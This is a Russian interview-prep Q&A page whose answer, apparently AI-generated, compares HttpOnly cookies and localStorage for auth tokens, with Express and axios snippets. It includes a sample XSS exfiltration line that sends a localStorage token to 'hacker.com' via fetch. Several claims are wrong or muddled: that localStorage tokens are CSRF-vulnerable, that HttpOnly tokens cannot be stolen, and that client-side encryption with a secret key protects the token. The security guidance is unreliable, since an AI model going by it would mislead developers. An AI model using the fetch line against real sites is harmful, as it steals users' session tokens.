← Назад к вопросам
Где хранить token в Cookie или localStorage?
2.8 Senior🔥 211 комментариев
#Архитектура и паттерны#Браузер и сетевые технологии
Комментарии (1)
🐱
claude-haiku-4.5PrepBro AI2 апр. 2026 г.(ред.)
Ответ сгенерирован нейросетью и может содержать ошибки
Cookie vs localStorage для хранения токенов
Выбор между Cookie и localStorage - это один из самых важных решений в вопросе безопасности аутентификации. Оба подхода имеют свои плюсы и минусы.
Сравнительная таблица
| Характеристика | Cookie | localStorage |
|---|---|---|
| XSS атака | HttpOnly защищает | Уязвим |
| CSRF атака | SameSite защищает | Уязвим |
| Автоматическая передача | Да | Нет (ручная в header) |
| Доступ из JS | Только обычные | Да, полный доступ |
| Размер | 4KB | 5-10MB |
| Синхронизация вкладок | Да | Да |
HttpOnly Cookies - РЕКОМЕНДУЕМЫЙ ПОДХОД
// Backend отправляет token в HttpOnly cookie
res.setHeader(
"Set-Cookie",
"accessToken=jwt123; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=3600"
);
Преимущества:
- XSS защита: JavaScript не может получить доступ к HttpOnly cookies
- CSRF защита: SameSite флаг предотвращает кросс-сайтовые запросы
- Автоматическая передача: Браузер сам отправляет cookie с каждым запросом
- Стандарт индустрии: Используется в Google, Facebook, AWS и других крупных сервисах
- Невозможно украсть: Даже если на сайте XSS, хакер не получит token
Недостатки:
- Требует правильной конфигурации CORS
- Сложнее отладить (нет доступа из DevTools console)
- Требует поддержки credentials в запросах
localStorage - НЕ РЕКОМЕНДУЕТСЯ
// Хранение в localStorage
localStorage.setItem("accessToken", jwt);
// Использование
const token = localStorage.getItem("accessToken");
headers["Authorization"] = `Bearer ${token}`;
Недостатки:
- XSS уязвимость: Любой скрипт может получить доступ
// Хакер с XSS может легко украсть token
fetch("https://hacker.com", {
body: localStorage.getItem("accessToken")
});
- CSRF уязвимость: Требует ручной передачи в header
- Синхронизация: Нужно вручную синхронизировать между вкладками
- Забывчивость: Разработчик может забыть удалить token при logout
Практические примеры
Пример 1: Правильное использование HttpOnly Cookies
// Frontend код
const api = axios.create({
baseURL: "https://api.example.com",
withCredentials: true // Важно: отправляет cookies
});
// Делаем запрос
api.get("/protected");
// Cookie автоматически отправится браузером
// JavaScript никогда не видит token
Пример 2: HttpOnly Cookie + CORS
// Backend (Node.js + Express)
const express = require("express");
const cors = require("cors");
const app = express();
app.use(
cors({
origin: "https://example.com",
credentials: true // Позволяет отправлять cookies
})
);
app.post("/login", (req, res) => {
const token = generateJWT();
res.cookie("accessToken", token, {
httpOnly: true, // Недоступно для JS
secure: true, // Только HTTPS
sameSite: "strict", // CSRF защита
maxAge: 3600000 // 1 час
});
res.json({ success: true });
});
Пример 3: localStorage (если нужен доступ из JS)
// Если всё же используешь localStorage
// Максимизируй защиту
const storeToken = (token) => {
// Шифруй token перед сохранением
const encrypted = encrypt(token, SECRET_KEY);
localStorage.setItem("accessToken", encrypted);
};
// Используй Content Security Policy (CSP) для защиты от XSS
// <meta http-equiv="Content-Security-Policy"
// content="script-src self; object-src none" />
// Регулярно очищай при logout
const logout = () => {
localStorage.removeItem("accessToken");
// Переадресация на login
};
Архитектура с refresh token
// BEST PRACTICE
// 1. Access token (короткоживущий) -> можно в localStorage или memory
// 2. Refresh token (долгоживущий) -> ОБЯЗАТЕЛЬНО в HttpOnly Cookie
res.cookie("refreshToken", refreshJWT, {
httpOnly: true,
secure: true,
sameSite: "strict",
maxAge: 7 * 24 * 60 * 60 * 1000 // 7 дней
});
// Access token можно вернуть в теле ответа
res.json({
accessToken: accessJWT,
expiresIn: 3600
});
Секурность: Сравнение сценариев атак
Сценарий 1: XSS атака (внедрение скрипта)
// HttpOnly Cookie - БЕЗОПАСНО
// Скрипт не может получить доступ
// document.cookie вернёт пустую строку (если других cookies нет)
// localStorage - УЯЗВИМО
const token = localStorage.getItem("accessToken"); // Хакер получит token!
Сценарий 2: CSRF атака (подделка запроса)
// HttpOnly Cookie + SameSite=Strict - ЗАЩИЩЕНО
// Браузер заблокирует запрос с другого домена
// localStorage - УЯЗВИМО
// Хакер может сделать запрос от имени пользователя, если не добавлены меры
Рекомендации
- Используй HttpOnly Cookies для access token в production
- Обязательно HttpOnly для refresh token
- Настрой CORS правильно - только для доверенных доменов
- Используй HTTPS - без этого Cookie insecure флаг бесполезен
- Добавь CSP (Content Security Policy) заголовок
- Регулярный logout - очищай cookies при выходе
- Мониторь - логируй попытки несанкционированного доступа
Заключение
Для production приложений ВСЕГДА используй HttpOnly Cookies для хранения access и refresh токенов. localStorage следует избегать для чувствительных данных. Это обеспечивает максимальную защиту от XSS и CSRF атак, которые являются наиболее распространёнными уязвимостями веб-приложений.